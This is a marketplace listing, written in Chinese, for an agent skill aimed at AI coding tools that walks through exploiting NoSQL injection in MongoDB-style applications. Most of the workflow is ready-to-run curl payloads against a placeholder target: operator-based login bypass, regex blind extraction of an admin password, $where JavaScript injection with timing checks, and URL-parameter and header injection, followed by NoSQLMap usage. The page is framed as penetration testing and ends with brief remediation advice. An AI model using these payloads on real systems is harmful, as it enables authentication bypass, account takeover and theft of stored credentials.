# Exploiting Nosql Injection Vulnerabilities

> 检测并利用 MongoDB、CouchDB 和其他 NoSQL 数据库中的 NoSQL 注入漏洞，以演示身份验证绕过、数据提取和未授权访问风险。

- Skill: `killvxk/exploiting-nosql-injection-vulnerabilities` (Agent Skill, multi-file: 8 files)
- Install (CLI): `npx skillmds@latest add killvxk/exploiting-nosql-injection-vulnerabilities`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/exploiting-nosql-injection-vulnerabilities/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/exploiting-nosql-injection-vulnerabilities

---


# 利用 NoSQL 注入漏洞（Exploiting NoSQL Injection Vulnerabilities）

## 适用场景
- 在对使用 NoSQL 数据库的应用程序进行 Web 渗透测试期间
- 测试由 MongoDB 或类似数据库支持的身份验证机制时
- 评估接受 JSON 输入用于数据库查询的 API 时
- 在具有 NoSQL 后端的应用程序漏洞奖励计划中
- 对数据库查询构建进行安全代码审查时

## 前置条件
- 支持 JSON 的 Burp Suite Professional 或 Community Edition
- 已安装 NoSQLMap 工具（`pip install nosqlmap` 或从 GitHub 安装）
- 了解 MongoDB 查询操作符（$ne、$gt、$regex、$where、$exists）
- 目标应用程序使用 NoSQL 数据库（MongoDB、CouchDB、Cassandra）
- 配置好用于 HTTP 流量拦截的代理
- 用于自定义有效载荷脚本的 Python 3.x

## 工作流程

### 步骤 1：识别 NoSQL 注入点
```bash
# 寻找基于 JSON 的登录表单或 API 端点
# 常见指标：应用程序接受 JSON POST 体，使用 MongoDB
# 使用基本语法破坏字符进行测试
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin\"", "password": "test"}'

# 测试查询参数中的操作符注入
curl "http://target.com/api/users?username[$ne]=invalid"

# 检查基于错误的检测
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt": ""}}'
```

### 步骤 2：执行身份验证绕过
```bash
# 使用 $ne 操作符进行基本身份验证绕过
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'

# 使用 $gt 操作符绕过
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# 使用正则表达式针对特定用户
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": ".*"}}'

# 使用 $exists 操作符绕过
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$exists": true}, "password": {"$exists": true}}'
```

### 步骤 3：使用基于布尔的盲注入提取数据
```bash
# 使用 $regex 逐字符提取用户名
# 测试管理员密码的第一个字符是否为 'a'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^a"}}'

# 测试前两个字符是否为 'ab'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^ab"}}'

# 使用正则表达式枚举用户名
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'
```

### 步骤 4：通过 $where 利用 JavaScript 注入
```bash
# 通过 $where 操作符进行 JavaScript 注入
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.username == \"admin\""}'

# 通过 sleep 进行基于时间的检测
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "sleep(5000) || this.username == \"admin\""}'

# 通过 $where 和字符串比较进行数据外泄
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.password.match(/^a/) != null"}'
```

### 步骤 5：使用 NoSQLMap 进行自动化测试
```bash
# 克隆并安装 NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install

# 对目标运行 NoSQLMap
python nosqlmap.py -u http://target.com/api/login \
  --method POST \
  --data '{"username":"test","password":"test"}'

# 替代方案：使用 nosqli 扫描器
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'
```

### 步骤 6：测试 URL 参数注入
```bash
# 基于参数的注入（GET 请求）
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"

# 通过 URL 参数的数组注入
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"

# 如果后端处理，通过 HTTP 头注入
curl http://target.com/api/profile \
  -H "X-User-Id: {'\$ne': null}"
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| 操作符注入（Operator Injection） | 向查询参数注入 MongoDB 操作符（$ne、$gt、$regex） |
| 身份验证绕过（Authentication Bypass） | 使用操作符匹配任意文档并绕过登录检查 |
| 盲提取（Blind Extraction） | 使用 $regex 布尔响应逐字符提取数据 |
| $where 注入 | 通过 $where 操作符在 MongoDB 服务器上执行任意 JavaScript |
| 类型混淆（Type Juggling） | 利用 NoSQL 数据库处理不同输入类型（字符串与对象）的方式 |
| BSON 注入 | 操纵 MongoDB 线协议中的二进制 JSON 序列化 |
| 服务器端 JS | MongoDB 中可用于查询评估的 JavaScript 执行上下文 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| NoSQLMap | 自动化 NoSQL 注入检测和利用框架 |
| Burp Suite | 用于拦截和修改 JSON 请求的 HTTP 代理 |
| MongoDB Shell | 用于测试查询行为的直接数据库交互 |
| nosqli | 专用 NoSQL 注入扫描器和利用工具 |
| PayloadsAllTheThings | 精心整理的 NoSQL 注入有效载荷存储库 |
| Nuclei | 带有 NoSQL 注入检测模板的基于模板的扫描器 |
| Postman | 用于构建 NoSQL 注入请求的 API 测试平台 |

## 常见场景

1. **登录绕过** — 在用户名和密码字段中使用 `{"$ne": ""}` 操作符注入绕过 MongoDB 支持的身份验证
2. **数据枚举** — 当没有直接输出可见时，使用 `$regex` 盲注入逐字符提取数据库内容
3. **权限提升** — 通过配置文件更新端点中的 NoSQL 注入修改用户角色字段
4. **API 密钥提取** — 通过基于布尔的盲技术提取存储在 MongoDB 集合中的 API 密钥或令牌
5. **账户接管** — 通过正则表达式注入枚举有效用户名，然后通过基于操作符的身份验证绕过暴力破解密码

## 输出格式

```
## NoSQL 注入评估报告
- **目标**: http://target.com/api/login
- **数据库**: MongoDB 6.0
- **漏洞类型**: 操作符注入（身份验证绕过）
- **严重性**: 严重（CVSS 9.8）

### 易受攻击的参数
| 端点 | 参数 | 注入类型 | 影响 |
|----------|-----------|---------------|--------|
| POST /api/login | username | 操作符（$ne） | 身份验证绕过 |
| POST /api/login | password | 正则（$regex） | 数据提取 |
| GET /api/users | id | $where JS 注入 | 潜在 RCE |

### 概念验证
- 使用以下内容实现身份验证绕过：{"username":{"$ne":""},"password":{"$ne":""}}
- 通过盲正则注入提取了 3 个管理员密码
- 通过 $where 操作符确认 JavaScript 执行

### 修复建议
- 使用带有 MongoDB 驱动清理功能的参数化查询
- 实施输入类型验证（在预期字符串的地方拒绝对象）
- 在 MongoDB 配置中禁用服务器端 JavaScript 执行（$where）
- 应用最小权限数据库访问控制
```

